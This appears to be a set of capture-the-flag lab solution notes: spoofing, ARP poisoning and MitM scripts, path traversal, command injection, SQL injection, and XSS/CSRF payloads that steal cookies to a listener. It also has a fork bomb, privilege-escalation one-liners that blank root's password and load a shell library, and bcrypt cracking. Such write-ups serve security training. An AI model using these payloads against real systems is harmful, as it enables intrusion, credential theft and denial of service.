common pattern: server(10.0.0.3:31337) responds NONE to ACTION?, client(10.0.0.2) polls server. spoof a FLAG response from port 31337 to make client print the flag.

spoofing 1 - client on fixed port 31338, expects b"FLAG":

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG"))
print(ans[Raw].load)

spoofing 2 - client expects FLAG:host:port, sends flag back to that address:

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337"))
print(ans[Raw].load)

spoofing 3 - client on random port, scapy sr1 can’t match the reply. brute-force all ports with raw socket:

1
2
3
4
5
6
7
8
9
10
11
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 31337))
s.settimeout(3.0)

for port in range(1, 65535):
s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))

data, addr = s.recvfrom(1024)
print(f"[+] Flag: {data.decode().strip()}")

spoofing 4 - client also checks peer_host == "10.0.0.3", so our source must be 10.0.0.3. but the flag reply goes to FLAG:host:port which we control. use nc listener in background on the same session:

1
2
3
nc -u -lvnp 4444 > tmp &
python brute.py
cat tmp

ARP

send crafted ARP IS_AT response:

1
2
3
4
5
6
7
from scapy.all import sendp, Ether, ARP

sendp(
Ether(dst="42:42:42:42:42:42") /
ARP(op=2, psrc="10.0.0.42", hwsrc="42:42:42:42:42:42", pdst="10.0.0.2", hwdst="42:42:42:42:42:42"),
iface="eth0"
)

ARP poisoning (intercept)

client(10.0.0.2) sends flag to server(10.0.0.3:31337). poison client’s ARP cache to redirect traffic to us:

1
2
3
4
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -d 10.0.0.3 -p tcp --dport 31337 -j REDIRECT --to-ports 31337
nc -lvnp 31337 > tmp &
python poison.py

pdst is critical – without it, Scapy defaults to 0.0.0.0 and the target kernel silently drops the packet.

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
from scapy.all import sendp, Ether, ARP

packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2,
psrc="10.0.0.3",
hwsrc="42:8a:e0:32:96:95", # attacker MAC
pdst="10.0.0.2", # must set!
)

while True:
sendp(packet, iface="eth0", verbose=False)
time.sleep(1)

MitM

client authenticates with server via shared secret, then sends echo command. server also supports flag command. intercept and rewrite echo -> flag.

challenge source (key logic):

1
2
3
4
5
# client gets secret out-of-band, sends hex-encoded to server
# then sends "echo" command + data, expects echo back

# server: command == "echo" -> echo data back
# command == "flag" -> send flag

solution: ARP spoof both sides with arp_mitm, sniff TCP traffic, replace echo payload with flag, forward everything else:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket, threading, time
from scapy.all import Raw, get_if_hwaddr, sendp, sniff, IP, TCP, Ether
from scapy.layers.l2 import arp_mitm, getmacbyip

IP_CLIENT, IP_SERVER = "10.0.0.2", "10.0.0.3"
INTERFACE = "eth0"

MAC_CLIENT = getmacbyip(IP_CLIENT)
MAC_SERVER = getmacbyip(IP_SERVER)
MAC_ATTACKER = get_if_hwaddr(INTERFACE)

def arp_spoofer():
while True:
arp_mitm(
ip1=IP_CLIENT, ip2=IP_SERVER,
mac1=MAC_CLIENT, mac2=MAC_SERVER,
broadcast=True, target_mac=MAC_ATTACKER, iface=INTERFACE,
)
time.sleep(1)

def process_packet(pkt):
if not (pkt.haslayer(IP) and pkt.haslayer(TCP)):
return
ip_pkt = pkt[IP].copy()

# client -> server: rewrite "echo" to "flag"
if ip_pkt.src == IP_CLIENT and ip_pkt.dst == IP_SERVER and ip_pkt[TCP].dport == 31337:
if ip_pkt.haslayer(Raw) and ip_pkt[Raw].load == b"echo":
ip_pkt[Raw].load = b"flag"
del ip_pkt.len, ip_pkt.chksum, ip_pkt[TCP].chksum
sendp(Ether(dst=MAC_SERVER) / ip_pkt, iface=INTERFACE, verbose=False)

# server -> client: forward (and print flag)
elif ip_pkt.src == IP_SERVER and ip_pkt.dst == IP_CLIENT and ip_pkt[TCP].sport == 31337:
if ip_pkt.haslayer(Raw):
print(f"[+] Server: {ip_pkt[Raw].load.decode('utf-8', errors='ignore')}")
sendp(Ether(dst=MAC_CLIENT) / ip_pkt, iface=INTERFACE, verbose=False)

threading.Thread(target=arp_spoofer, daemon=True).start()
time.sleep(2)
sniff(filter="tcp port 31337", prn=process_packet, store=0)

path traversal

--path-as-is prevents curl from normalizing ../ sequences.

1
2
3
4
5
# path-traversal-1
curl --path-as-is "http://challenge.localhost:80/filesystem/../../../../../../../flag"

# path-traversal-2
curl --path-as-is "http://challenge.localhost:80/data/fortunes/../../../../../../flag"

command injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# cmdi 1 - semicolon
curl -G "http://challenge.localhost:80/serve" --data-urlencode "top-path=;cat /flag"

# cmdi 2 - ampersand
curl -G "http://challenge.localhost:80/objective" --data-urlencode "filepath=&cat /flag"

# cmdi 3 - quote escape + comment
curl -G "http://challenge.localhost:80/test" --data-urlencode "top-path='; cat /flag; #"

# cmdi 4 - space-separated injection
curl -G "http://challenge.localhost:80/stage" --data-urlencode "tzone=a cat /flag;"

# cmdi 5 - blind (no direct output), redirect to file
curl -G "http://challenge.localhost:80/activity" \
--data-urlencode "file-loc=; cat /flag > /tmp/flag_out"
cat /tmp/flag_out

# cmdi 6 - newline injection
curl "http://challenge.localhost:80/exercise?root=%0acat%20/flag"

authentication bypass

1
2
3
4
5
# query parameter
curl "http://challenge.localhost:80/?session_user=admin"

# cookie
curl "http://challenge.localhost:80/" --cookie "session_user=admin"

sqli 1 - auth bypass

two approaches: comment out password check, or OR 1=1:

1
2
3
4
5
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin' --" -d "pin=1" "http://challenge.localhost:80/logon"
# or
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin" -d "pin=1 or 1=1" "http://challenge.localhost:80/logon"

sqli 2 - auth bypass

1
2
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "account-name=admin" -d "pass=1' or 1=1 --" "http://challenge.localhost:80/portal"

sqli 3 - UNION-based extraction

1
SELECT username FROM users WHERE username LIKE """" UNION SELECT password FROM users --"
1
2
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users --'

sqli 4 - table enumeration + UNION

enumerate table names first, then extract:

1
2
3
4
5
6
7
8
# find table name
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT name FROM sqlite_master WHERE type="table" --'
# -> users_8141651746

# extract password from discovered table
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users_8141651746 --'

sqli 5 - blind SQLi

vulnerable query uses f-string interpolation:

1
2
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
user = db.execute(query).fetchone()

admin’s password is the flag. no direct output – need blind extraction.

naive attempt fails because AND has higher precedence than OR:

1
2
3
# password=' or substr(password,1,1)='p' --
# parses as: (username='admin' AND password='') OR (substr(...)='p')
# this matches ANY user when substr is true, not just admin

blind extraction script – check one char at a time, OR username='admin' AND substr(...) ensures we only match admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import string
import requests

url = "http://challenge.localhost:80/"
charset = string.printable.strip()

def blind_sql():
result = ""
for pos in range(1, 60):
for char in charset:
payload = f"' OR username='admin' AND substr(password,{pos},1)='{char}' --"
resp = requests.post(url, data={"username": "admin", "password": payload}, timeout=5)
if resp.status_code != 403 and resp.status_code != 500:
result += char
print(f" [+] Current extracted: {result}")
break
return result

if __name__ == "__main__":
print(f" [+] Extracted: {blind_sql()}")

stored xss

xss 1

1
curl -X POST "http://challenge.localhost:80/" -d "content=<input type='text'>"

xss 2

inject <script> via stored post, then trigger with /challenge/victim (headless Firefox).

1
2
curl -X POST "http://challenge.localhost:80/" -d 'content="><script>alert(1)</script>'
/challenge/victim

reflected xss

xss 3

msg is reflected directly into the page body:

1
2
The message:
{flask.request.args.get("msg", "(none)")}
1
/challenge/victim "http://challenge.localhost:80/?msg=<script>alert(1)</script>"

xss 4

msg is reflected inside a <textarea>, break out first:

1
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
1
/challenge/victim "http://challenge.localhost:80/?msg=</textarea><script>alert(1)</script><textarea>"

xss 5 - stored XSS + CSRF (GET publish)

admin’s unpublished draft contains the flag. published posts render raw HTML. /publish is GET.

1
2
3
@app.route("/publish", methods=["GET"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])

login as hacker, store XSS that makes admin’s browser call /publish, which publishes admin’s flag draft:

1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish')</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

xss 6 - stored XSS + CSRF (POST publish)

same as xss 5, but /publish is now POST:

1
2
3
@app.route("/publish", methods=["POST"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish', {method: 'POST'})</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

key differences from xss 5/6:

  • auth is cookie-based: auth=username|password (not flask.session)
  • admin password = flag[-20:] (truncated flag)
  • admin is blocked from posting/publishing
  • drafts are visible to their own author
1
2
3
4
5
6
7
8
9
response.set_cookie("auth", username + "|" + password)

# admin blocked
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

# drafts visible to author
elif post["author"] == username:
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"

since admin can’t publish, steal the cookie instead and log in as admin to view the draft:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. login as hacker, store XSS that exfiltrates document.cookie
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('http://localhost:1337/', {method: 'POST', body: document.cookie})</script>&publish=on"

# 2. listen for stolen cookie
nc -l -p 1337 &

# 3. trigger victim (admin) to visit the page
/challenge/victim
# received: auth=admin|RT.dJDO1YDL4cjM1gzW}

# 4. use stolen cookie to view as admin
curl --cookie "auth=admin|RT.dJDO1YDL4cjM1gzW}" "http://challenge.localhost:80/"

CSRF 1

In this level, the application has a /publish route that uses a GET request to change the state of the application (publishing drafts). Since GET requests should ideally be idempotent and not change state, this is a classic CSRF vulnerability.

Analysis

The server-side code for the /publish route:

1
2
3
4
5
6
7
8
@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

# Vulnerability: State change via GET request with no CSRF protection
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")

Exploit

We can host a simple HTML page that redirects the victim (the admin) to the /publish endpoint. When the admin visits our page, their browser will automatically include their session cookies when following the redirect to challenge.localhost.

Payload (index.html):

1
2
3
<script>
window.location.href = "http://challenge.localhost:80/publish";
</script>

Execution:

  1. Host the payload: python3 -m http.server 1337
  2. Trigger the victim to visit your server: /challenge/victim
  3. The admin’s drafts are now published. Fetch the flag:
    1
    2
    curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
    curl "http://challenge.localhost:80/"

CSRF Level 2: POST-based CSRF

The /publish route now requires a POST request. While this prevents simple link-based triggers, it doesn’t stop CSRF if there are no CSRF tokens or origin checks.

Exploit

We use an HTML form that automatically submits itself via JavaScript to perform the POST request on behalf of the admin.

Payload (index.html):

1
2
3
4
5
6
7
8
<form
id="csrf-form"
action="http://challenge.localhost:80/publish"
method="POST"
></form>
<script>
document.getElementById("csrf-form").submit();
</script>

Execution:

  1. Host the payload on port 1337.
  2. Run /challenge/victim.
  3. Login and check the published posts to find the flag.

CSRF Level 3: Reflected XSS

This level introduces a reflected XSS vulnerability in the /ephemeral route. The msg parameter is rendered directly into the page without sanitization.

Analysis

1
2
3
4
5
6
7
8
9
@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
return f"""
<html><body>
<h1>You have received an ephemeral message!</h1>
The message: {flask.request.args.get("msg", "(none)")}
<hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
</body></html>
"""

Exploit

We can inject a script tag through the msg parameter.

Payload:

1
2
3
4
5
6
7
<script>
let xss_payload = "<script>alert('PWNED')</s" + "cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Building on the previous level, we use the XSS vulnerability to steal the admin’s session cookie.

Exploit

We inject a script that reads document.cookie and sends it to our attacker-controlled listener.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let xss_payload =
"<script>fetch('http://hacker.localhost:1338/?stolen_cookie=' + encodeURIComponent(document.cookie));</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the incoming cookie: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. Once the cookie is captured (e.g., auth=admin|...), use it to access the flag:
    1
    curl --cookie "auth=admin|..." "http://challenge.localhost:80/"

CSRF Level 5: Data Exfiltration via XSS

In this final level, we use XSS to fetch the content of the admin’s home page (where the flag is displayed) and send the entire HTML back to our listener.

Exploit

The payload performs an internal fetch('/') while the admin is authenticated, then POSTs the response body to the attacker.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let stage2_xss =
"<script>fetch('/').then(res => res.text()).then(html => fetch('http://hacker.localhost:1338', {method: 'POST', body: html}))</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(stage2_xss);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the POST data: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. The flag will be contained within the HTML received by Netcat.

1. Fork Bomb

A classic bash fork bomb that recursively calls itself to exhaust system resources.

1
2
3
4
myfunc () {
myfunc | myfunc
}
myfunc

2. Web Security

2.1 Basic Requests

Using netcat and curl to perform simple GET requests.

1
2
3
4
5
# Manual GET request via nc
printf "GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n" | nc localhost 80

# Simple GET via curl
curl -X GET "http://localhost/"

2.2 Custom Headers

Setting the Host header for different tasks.

1
2
3
4
5
6
# Task: Host: root-me.org
curl -X GET http://localhost/task -H "Host: root-me.org"

# Task: Host: net-force.nl:80
curl -v -X GET http://localhost/gate -H "Host: net-force.nl:80"
printf "GET /gate HTTP/1.1\r\nHost: net-force.nl:80\r\nConnection: close\r\n\r\n" | nc localhost 80

2.3 URL Encoding & Query Parameters

Handling spaces and multiple parameters.

1
2
3
4
5
6
7
# URL Encoded Path: /progress%20request%20qualify
printf "%b" "GET /progress%20request%20qualify HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80

# Query Strings
printf "%b" "GET /mission?hash=crwtzkzq HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80
printf "%b" "GET /request?access=ejnskvxx&token=rmxwpdzo&signature=fhhmtasz HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80
curl -X GET "http://localhost/hack?pass=fjawumxb&security_token=yaanpzkj&security=xufooqmp" -H "Host: challenge.localhost:80"

2.4 POST Requests

Submitting data via application/x-www-form-urlencoded.

1
2
3
4
5
6
7
8
# Manual POST via nc
printf "%b" "POST /complete HTTP/1.1\r\nHost: challenge.localhost:80\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 22\r\nConnection: close\r\n\r\nchallenge_key=ocgzmivl" | nc localhost 80

# POST via curl
curl -X POST "http://localhost/hack" -H "Host: challenge.localhost:80" -d "token=ieovmiim&authcode=dhcrcdvp&access=cbmupwsi"

# Complex POST via nc
printf "%b" "POST /verify HTTP/1.1\r\nHost: challenge.localhost:80\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 74\r\nConnection: close\r\n\r\nsecure_key=rxwoveec&security=yyiezfbi&pass=oufnsrdp&challenge_key=menvugmn" | nc localhost 80

2.5 Cookies & State Management

Managing session data.

1
2
3
4
5
# Save and send cookies with curl
curl -c cookies.txt -b cookies.txt -L http://localhost/

# Manual Cookie Header
printf "%b" "GET / HTTP/1.1\r\nHost: localhost\r\nCookie: cookie=6136b40d5c4af043f373b9f786ce3d30\r\nConnection: close\r\n\r\n" | nc localhost 80

2.6 Redirects

Following HTTP 302 redirects.

1
2
3
4
5
# Manual handling (checking Location header)
printf "%b" "GET / HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80

# Automated redirect following
curl -L -X GET "http://localhost/" -H "Host: challenge.localhost:80"

2.7 Client-Side Redirection & XSS-style Exfiltration

1
2
3
4
5
6
7
8
// Simple JS redirect
echo '<script>window.location = "/check";</script>' > ~/public_html/solve.html

// Data Exfiltration via URL
echo '<script src="/submit"></script><script>window.location="http://localhost:1337/?stolen="+flag;</script>' > ~/public_html/solve.html

// Exfiltration using Fetch
echo '<script>fetch("/gateway").then(r=>r.text()).then(d=>window.location="http://localhost:1337/?stolen="+d);</script>' > ~/public_html/solve.html

3. Program Misuse (GTFOBins)

Techniques for reading restricted files (like /flag) via unexpected program behavior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Compressed formats
gzip -c /flag | gzip -d
bzip2 -c /flag | bzip2 -d
zip -c /flag | zip -d
tar -cO /flag | tar -xO

# Archive tools
ar r pwned.a /flag && ar p pwned.a
echo /flag | cpio -o

# Shell/Execution wrappers
env /bin/sh -p
nice /bin/sh -p
timeout 0 /bin/sh -p
setarch $(arch) /bin/sh -p
socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

# Text processing / viewing
find /flag -exec cat {} \;
mawk '//' /flag
sed '' /flag
whiptail --textbox --scrolltext /flag 50 100
ed /flag # Use ',p' to print, 'q' to quit

# Language Interpreters
perl -ne print /flag
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
ruby -e 'puts File.read("/flag")'

# Miscellaneous
cp /flag > /dev/stdout
date -f /flag
dmesg -rF /flag
wc --files0-from /flag
gcc -x c -E /flag
as @/flag

# Network tools
nc -lp 1337 & wget --post-file=/flag http://127.0.0.1:1337/

3.1 Privilege Escalation Tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Changing permissions/ownership
chown $(id -un):$(id -gn) /flag
chmod 777 /flag

# Shadowing root password
cp /etc/passwd ./hack_passwd
sed -i 's/^root:x:/root::/' ./hack_passwd
mv ./hack_passwd /etc/passwd
su root

# Shared Library Injection
echo '#include <unistd.h>
void C_GetFunctionList() {}
void __attribute__((constructor)) init() {
execl("/bin/sh", "sh", "-p", NULL);
}' | gcc -w -fPIC -shared -o lib.so -x c -
/challenge/ssh-keygen -D ./lib.so

4. SQL Injection Basics

4.1 Simple Selects

1
2
3
4
5
6
-- Select all logs
SELECT * FROM logs;

-- Filter by ID/Tag
SELECT * FROM entries WHERE flag_tag = 1337;
SELECT resource FROM flags WHERE flag_tag != 1;

4.2 Pattern Matching & String Manipulation

1
2
3
4
5
6
7
8
-- LIKE operator
SELECT detail FROM payloads WHERE flag_tag LIKE "yep";

-- Substring matching
SELECT detail FROM items WHERE substr(detail, 1, 3) = 'pwn';

-- Complex substring extraction (brute-forcing length)
SELECT substr(secret, 1, 5), substr(secret, 6, 5) FROM items;

4.3 Database Schema Exploration

1
2
3
4
5
-- List tables in SQLite
SELECT name FROM sqlite_master WHERE type='table';

-- Querying found tables
SELECT flag FROM UgRKNxaq;

A secret flag is safely hidden away within client-side scripts. We were told JavaScript is an insecure medium for secret storage, so we decided to use C++ instead.

Analysis

I use radare2 BTW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ r2 flag.wasm
[0x0000019a]> iE
[Exports]
# ... key functions ...
137 0x0000a343 0x0000a343 GLOBAL FUNC 12 CompareFlag
138 0x0000a34f 0x0000a34f GLOBAL FUNC 17 CompareFlagIndex

[0x0000019a]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
92 0x000098d9 0x000098d9 24 25 data ascii OrpheanBeholderScryDoubt
96 0x00009979 0x00009979 64 65 data ascii ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
97 0x000099ba 0x000099ba 60 61 data ascii $2b$12$uAfq9EI1EoIC316VgA3azeOyogkKzG4zz2kF8M.l.D4h4nT4WsidK
98 0x000099f7 0x000099f7 60 61 data ascii $2b$12$NmhDm/LZzjanlv6xuHCsVe8JJNlvEb3uYUEQ03abPIlCuTE6qtrT.
# ... 40 hashes total ...

Obviously the flag is stored as a series of bcrypt hashes, which are all prefixed with $2b$12$.

Cracking the Flag

If we test single characters, we can see that the flag start with 2, but the next character is unknown.

Since the hashes are cumulative, each one validates the entire flag prefix up to that point. We can recover the flag by brute-forcing each character in sequence and appending it to the previously discovered string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import bcrypt
import string

hashes = [
b"$2b$12$uAfq9EI1EoIC316VgA3azeOyogkKzG4zz2kF8M.l.D4h4nT4WsidK",
b"$2b$12$NmhDm/LZzjanlv6xuHCsVe8JJNlvEb3uYUEQ03abPIlCuTE6qtrT.",
b"$2b$12$8OhK6ZPoSuBujRxR3pz4g.vp6LvTqJe/NJZZHTHtOPkdIbDb1GDKS",
b"$2b$12$PhFiPd28yDeXdZaJfUDjTOiAUQtpBJ2AjD5pFIG7CtUXQtWECGpre",
b"$2b$12$DfQJicmUWZQ0EVGKxdQEN.yCj3s4o6GyMraqt514d3DRkAqH8PYq6",
b"$2b$12$JikQohCsuFN6DO7q9ZHCTeHuzL3/Hb3diMYJsUGgAI4AH64x9jtyO",
b"$2b$12$4C2jJ0QxCKdqyrBTIhqEGeeq1IMOZJs7DllwqtMWbp.rM7BPsbDwG",
b"$2b$12$FI45z3VbyCC4Bb5rVJsLb./Od6aSnT8tHIPkwmZCgGNNrXwpJqkO6",
b"$2b$12$tFkj/QdzBVsk8XjjjH91eefYY/lx6YX/4lnB9T/GKSIvpmx7mEEG2",
b"$2b$12$Il.BDj/qxIkgROEZN4/Te.QJawuPW18MHU1hVQzNIC9SW7H.Mo9.2",
b"$2b$12$3UOGifrFe0iGGh4sSWx1JeB919LDApovzwbYIQqniIFVE3/mgEFkW",
b"$2b$12$5voYYJHxGJVy3ITneNhk/.XbcfOKDDnMHiS2CTri0ncFQ/jUgND.e",
b"$2b$12$cDvS2AqrJ72gvUP5wSnjSOqdsFIKcsGI863NxXgdedYzMV0YzOZmW",
b"$2b$12$pIcJfpN7L0SGQtA/4bcX.ewqrSkeUzCeq4mrjHCzhwQKB2LTc4tJe",
b"$2b$12$4xjImCcvXpgG.WFwjlryEONm4gFy3/O2VSCsrL1lX38f0XDPKc6Hm",
b"$2b$12$gIWlY5GubfJ1kIhMEO9GnuTbalD8aPc6ECdNIq.4Vjx6S38nKLG8S",
b"$2b$12$9UpsAlXYVpPw4B93u2WBm.Ve0JMqdkQ0wxvuAPqnXmtzjmvXm0hea",
b"$2b$12$QqTL8meoLdWMnipKwuRoC.d9ei6TU2ev1Ggu0VsC2gLGMfF7QWOPi",
b"$2b$12$8M.Z95IrSP64adu2LiOhzO4vhtmfjBx45Pp.FJsq4Tqe/t5GaPeA2",
b"$2b$12$GNWfLovpvpMcoK89QdZzt.u8XibRtwo0aFFnUSBcqs0SjocL6hgVS",
b"$2b$12$mLzTYglkEg3iqusfz8lOOuH548ezA.mgfr8pYI7cd3ozU8aPJBhAC",
b"$2b$12$6GTg.qAyDUQorM1BwcIXRe7Ab.L3ZXqJhI0xg2G.OtCVf5W1BH7zu",
b"$2b$12$Nxd1aKxcgV4s51dN5nc2puAtG8J6asT8vcvB0kfWhcfYp868nza7.",
b"$2b$12$Z2/4n8JEXI19ZFL7A4ojEOiSbfAeV3KZj5Nc0.Uu6sXG6KHvtPCLi",
b"$2b$12$AEiJfo2eTPnTCU.NL2jJeOifcw/TOAZaOLjMAPKEdfJmgdQy/WoYC",
b"$2b$12$8pA4oDi3uovODvOuf2GrteqltIOhDUH/AI07H1NrvCoA5AvL9vKJe",
b"$2b$12$Kke80penOJ8l7/EBoDZCWufdwdWju/Twb6.9DSm498.I922qNBfBK",
b"$2b$12$xOcqWzPSMN3VgbsmEmZbYe98NBK1Qxpp6fAZNYCEiU/Lw5vsbIOz.",
b"$2b$12$OnXeQsiQyBpIZzciVGSkUuBwcr62OoirL8Ebb9QczH7AAFdIsrbxi",
b"$2b$12$3c8V9ss5ATsQkkz0ZUg2T.x0qCBszvuetJPX.vm9XPgsGBwhedfhy",
b"$2b$12$xVrrb1qPs3mHX2kp6vo10e8zsUqDxXxlmptJnFBT/5YVDeSGAJsty",
b"$2b$12$BA5vnPd.oxWN4BEn6PybEeXgWYrX02k9rHXLnDAiDedUilCuiv2jy",
b"$2b$12$7p6s4NoKXsjqD/0wnuO2b.2ux70dPNcN5wBYccuzz8vm1ZZ9iPPLu",
b"$2b$12$oXuFS3O5Td3knq2gRyf5XOhwj1.IYOWQ9fSvGY05YU0MwizIm18Ru",
b"$2b$12$l3wvb/fiYbkzoqWv1.ulMuQPTn6xP67D0/YkjNzwJi1bK30qJAZWu",
b"$2b$12$3eFpVZJh6TfrnbE.hdfitu8UiqLei7u2vEjFPecu6O5FqNqyOYOs.",
b"$2b$12$XtrkQGAyvRcIdCtW4AK9/.9oSlP2rAwE.KNk5f2sKuyhhDNzIAvzC",
b"$2b$12$zrsIpC4WnPVjcCRODlRXT.IDPIZwBEP2VwTv.q5/DIfCpdD44zoam",
b"$2b$12$Lr3UiwLPab6yEw.TERhNAu1/qlQelYuqmF/Wcg3UtrzslAzrf3/di",
b"$2b$12$RtpdIcXU8hH8pnDGQHCupu5l2mw872X6SFamb20w9A.sieVEk7Xba",
]

charset = string.printable.strip()
flag = ""

for i, h in enumerate(hashes):
print(f"[*] Cracking index {i:2d}... ", end="", flush=True)
for c in charset:
if bcrypt.checkpw((flag + c).encode(), h):
flag += c
print(f"Found: {c} | Current: {flag}")
break
else:
print("Failed to crack.")
break

print(f"\n[+] Flag: {flag}")

Result

1
2
# ...
[+] 247CTF{********************************}
247CTF{167d16d4a0d05da530c941dd23ff0238}

We stored the flag within this binary, but made a few errors when trying to print it. Can you make use of these errors to recover the flag?

Overview

1
2
❯ file flag_errata.exe
flag_errata.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 9 sections

A PE64 binary (GCC 7.3 / MinGW-w64) with a monstrous 53KB main function. It prompts for a 40-character password, validates each character through error-code accumulation, then returns -247 on any mismatch.

The core pattern repeats 40 times:

1
2
3
4
5
6
7
8
9
sub_401560();                    // intentionally failing WinAPI call
LastError = GetLastError(); // harvest the error code
sub_40159B();
v5 = GetLastError() + LastError; // accumulate
sub_4015D6();
v6 = GetLastError() + v5;
// ... N calls total ...
if ( Buffer[i] != (int)(accumulated) % 126 )
return -247; // failure — 247CTF signature

The password is never stored anywhere. It’s implicitly encoded by the count and sequence of WinAPI calls whose error codes reconstruct each character.

The Error Code Cycle

13 functions form a fixed cycle, each designed to fail deterministically:

# Function Address API Call Expected Error Code
0 errgen_open_247ctf_dll_system32 0x401560 CreateFileA("C:\Windows\System32\247CTF.dll", ...) ERROR_FILE_NOT_FOUND 2
1 errgen_open_247ctf_dll_nested 0x40159B CreateFileA("C:\247CTF\247CTF\247CTF.dll", ...) ERROR_PATH_NOT_FOUND 3
2 errgen_open_user32_dll_readwrite 0x4015D6 CreateFileA("user32.dll", GENERIC_RW, exclusive) ERROR_SHARING_VIOLATION 32
3 errgen_getthreadtimes_null 0x401611 GetThreadTimes(0, 0, 0, 0, 0) ERROR_INVALID_HANDLE 6
4 errgen_findfiles_exhaust 0x401634 FindFirstFile("C:\*") + loop FindNextFile ERROR_NO_MORE_FILES 18
5 errgen_virtualqueryex_null 0x401674 VirtualQueryEx(proc, NULL, NULL, 8) ERROR_BAD_LENGTH 24
6 errgen_open_cmdexe_twice 0x401697 CreateFileA("cmd.exe") x2 (exclusive) ERROR_SHARING_VIOLATION 32
7 errgen_open_user32_invalid_create 0x401704 CreateFileA("user32.dll", ..., dwCreation=0) ERROR_INVALID_PARAMETER 87
8 errgen_setconsoledisplaymode 0x40173F SetConsoleDisplayMode(FULLSCREEN) Varies by OS ~87
9 errgen_open_247ctf_colon 0x401764 CreateFileA("247CTF:", ...) ERROR_INVALID_NAME 123
10 errgen_loadlibrary_fake_dll 0x4017A2 LoadLibraryA("C:\247CTF.DLL") ERROR_MOD_NOT_FOUND 126
